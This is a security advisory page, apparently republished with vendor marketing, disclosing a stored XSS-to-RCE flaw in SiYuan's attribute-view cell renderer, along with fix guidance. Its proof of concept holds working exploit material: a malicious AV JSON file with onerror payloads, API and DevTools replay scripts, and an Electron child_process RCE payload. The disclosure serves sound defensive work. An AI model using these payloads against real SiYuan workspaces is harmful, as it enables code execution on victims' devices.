GHSA-5xfx-xj4h-5p7r
CRITICALGHSA-5xfx-xj4h-5p7r is a critical-severity (CVSS 9.9) Cross-site Scripting (XSS) vulnerability in github.com/siyuan-note/siyuan/kernel. O3 Security confirms whether GHSA-5xfx-xj4h-5p7r is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()
Real-World Exposure
github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror="..."> or "><img src=x onerror="..."> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('child_process'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.
The kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261.
Companion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data.
Details
Affected:
- HEAD
96dfe0b(v3.6.5, 2026-04-21) - Renderer sink:
app/src/protyle/render/av/blockAttr.ts:68,genAVValueHTML(). The text, url, phone, and mAsset branches interpolate cell content raw. - Callsites piping
genAVValueHTMLintoinnerHTML:select.ts:124,229,346,cell.ts:791,913,1198,col.ts:455,656,1256,filter.ts:199,471,609,702,groups.ts:56,289,328,378, andblockAttr.ts:212. - Source: cell values returned by
/api/av/getAttributeView. Backing store:data/storage/av/<avID>.json. - Write path:
kernel/model/attribute_view.go,updateAttributeViewValueand(*Transaction).doUpdateAttrViewCell. No call tohtml.EscapeAttrVal,html.EscapeString, orutil.EscapeHTMLanywhere in the file. - Electron config:
nodeIntegration:true,contextIsolation:false,webSecurity:falseon everyBrowserWindowinapp/electron/main.js:307,408-411,1107-1110,1150-1153,1322.
The sink
app/src/protyle/render/av/blockAttr.ts:68, with the unsafe branches highlighted:
export const genAVValueHTML = (value: IAVCellValue) => {
let html = "";
switch (value.type) {
case "block":
// escaped via escapeAttr — safe
html = `<input ... value="${escapeAttr(value.block.content)}" ...>`;
break;
case "text":
// value.text.content goes raw into a <textarea>
html = `<textarea ... rows="${(value.text?.content || "").split("\n").length}" ...>${value.text?.content || ""}</textarea>`;
break;
case "url":
// value.url.content goes raw into value="..." and href="..."
html = `<input value="${value.url.content}" ...>
<a ${value.url.content ? `href="${value.url.content}"` : ""} ...>`;
break;
case "phone":
// same pattern as url
html = `<input value="${value.phone.content}" ...>
<a ${value.phone.content ? `href="tel:${value.phone.content}"` : ""} ...>`;
break;
case "mAsset":
value.mAsset?.forEach(item => {
if (item.type === "image") {
// item.content raw inside aria-label
html += `<img ... aria-label="${item.content}" src="${getCompressURL(item.content)}">`;
} else {
// attributes escaped, but ${item.name || item.content} text-node is raw
html += `<span ... aria-label="${escapeAttr(item.content)}" data-name="${escapeAttr(item.name)}" data-url="${escapeAttr(item.content)}">${item.name || item.content}</span>`;
}
});
break;
// other cases use escapeHtml / escapeAttr correctly
}
return html;
};
escapeHtml and escapeAttr already exist and are used in the block, select, and mSelect cases. They just aren't applied in the four branches above.
Callers assign the result to innerHTML. Example, app/src/protyle/render/av/select.ts:124:
if (item.classList.contains("custom-attr__avvalue")) {
item.innerHTML = genAVValueHTML(cellValue);
}
The write path
A grep for any HTML-escape call in kernel/model/attribute_view.go returns nothing:
grep -n 'html.Escape\|EscapeHTML\|EscapeString' kernel/model/attribute_view.go
# (no output)
For comparison, the block-IAL write path at kernel/model/blockial.go:261 applies html.EscapeAttrVal(value). The AV cell write path is missing the equivalent.
Storage and sync
AV files live at data/storage/av/<avID>.json and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.
Suggested fix
The renderer-side fix is the more important one. escapeHtml and escapeAttr already exist in blockAttr.ts and already protect the block, select, and mSelect branches. Extend them to the rest of genAVValueHTML:
case "text":
html = `<textarea ...>${escapeHtml(value.text?.content || "")}</textarea>`;
break;
case "url":
html = `<input value="${escapeAttr(value.url.content)}" ...>
<a ${value.url.content ? `href="${escapeAttr(value.url.content)}"` : ""} ...>`;
break;
case "phone":
html = `<input value="${escapeAttr(value.phone.content)}" ...>
<a ${value.phone.content ? `href="tel:${escapeAttr(value.phone.content)}"` : ""} ...>`;
break;
case "mAsset":
// escape item.name and item.content in the text-node positions, not just inside attributes
The mAsset image branch also interpolates item.content into the src attribute via getCompressURL. Worth rejecting javascript: and data: schemes for asset URLs while you're in there.
Backend side, defense in depth: in kernel/model/attribute_view.go:updateAttributeViewValue, call html.EscapeAttrVal(content) on the string-content cell types before persisting. This mirrors the existing protection in kernel/model/blockial.go:261. The renderer fix matters more because the backend fix doesn't retroactively neutralize payloads already sitting in synced workspaces.
PoC
Stand up SiYuan and drop a malicious AV file at workspace/data/storage/av/poc.json:
docker run -d --name siyuan-poc \
-v ./workspace:/siyuan/workspace \
-p 16806:6806 \
b3log/siyuan:latest \
--workspace=/siyuan/workspace --accessAuthCode=hunter2
Minimum viable AV JSON:
{
"spec": 2,
"id": "20260519999999-poctest",
"name": "PocAV",
"keyValues": [
{
"key": {"id": "...keyblok", "name": "Block", "type": "block"},
"values": [{
"id": "...row1blk", "keyID": "...keyblok", "blockID": "...row1blk",
"type": "block", "isDetached": true,
"block": {"id": "...row1blk", "content": "Row 1"}
}]
},
{
"key": {"id": "...keytext", "name": "TextField", "type": "text"},
"values": [{
"id": "...celltxt", "keyID": "...keytext", "blockID": "...row1blk",
"type": "text",
"text": {"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"}
}]
},
{
"key": {"id": "...keyurl0", "name": "UrlField", "type": "url"},
"values": [{
"id": "...cellurl", "keyID": "...keyurl0", "blockID": "...row1blk",
"type": "url",
"url": {"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"}
}]
}
]
}
In a real attack the file gets there via sync, not by hand.
Confirm the API returns the cell content raw:
TOKEN=$(jq -r '.api.token' workspace/conf/conf.json)
curl -s -X POST http://localhost:16806/api/av/getAttributeView \
-H "Authorization: Token $TOKEN" \
-d '{"id":"20260519999999-poctest"}' \
| python3 -m json.tool | grep -E '"content":'
Output from my run on 2026-05-19:
"content": "</textarea><img src=x onerror=\"window.__siyuan_av_xss='FIRED'\">"
"content": "\"><img src=x onerror=\"window.__siyuan_av_url_xss='FIRED'\">"
</textarea> and "> come back literal, no escape.
In the Siyuan renderer's DevTools:
const res = await fetch('/api/av/getAttributeView', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({id: '20260519999999-poctest'})
});
const json = await res.json();
let textValue = null, urlValue = null;
for (const kv of json.data.av.keyValues) {
for (const v of kv.values || []) {
if (v.type === 'text' && v.text) textValue = v;
if (v.type === 'url' && v.url) urlValue = v;
}
}
// Replay the actual genAVValueHTML branches verbatim.
const textHTML = `<textarea rows="${(textValue.text?.content||'').split('\n').length}">${textValue.text?.content || ''}</textarea>`;
const urlHTML = `<input value="${urlValue.url.content}">`;
const div = document.createElement('div');
div.innerHTML = textHTML + urlHTML;
await new Promise(r => setTimeout(r, 250));
console.log({
textMarkerFired: window.__siyuan_av_xss === 'FIRED',
urlMarkerFired: window.__siyuan_av_url_xss === 'FIRED',
imgsInDiv: div.querySelectorAll('img').length,
title: document.title
});
Output from my run:
{
"textMarkerFired": true,
"urlMarkerFired": true,
"imgsInDiv": 3,
"title": "AV_TEXT_XSS_OK"
}
</textarea> and "> both broke out, the smuggled <img> elements ran their onerror handlers, the marker variables got set, document.title got rewritten. Same code path the real panel takes when the user opens the block attributes on this row.
To turn it into RCE on Electron, swap the marker payload for:
<img src=x onerror="require('child_process').execSync('open /Applications/Calculator.app')">
require is reachable from the renderer because of nodeIntegration:true in app/electron/main.js:408.
Impact
Stored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.
The payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required.
Anyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call /api/av/updateAttrViewCell. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | 0.0.0-20260628153353-2d5d72223df4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/siyuan-note/siyuan/kernel to 0.0.0-20260628153353-2d5d72223df4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5xfx-xj4h-5p7r is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-5xfx-xj4h-5p7r is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-5xfx-xj4h-5p7r. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5xfx-xj4h-5p7r in your dependencies?
O3 detects GHSA-5xfx-xj4h-5p7r across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.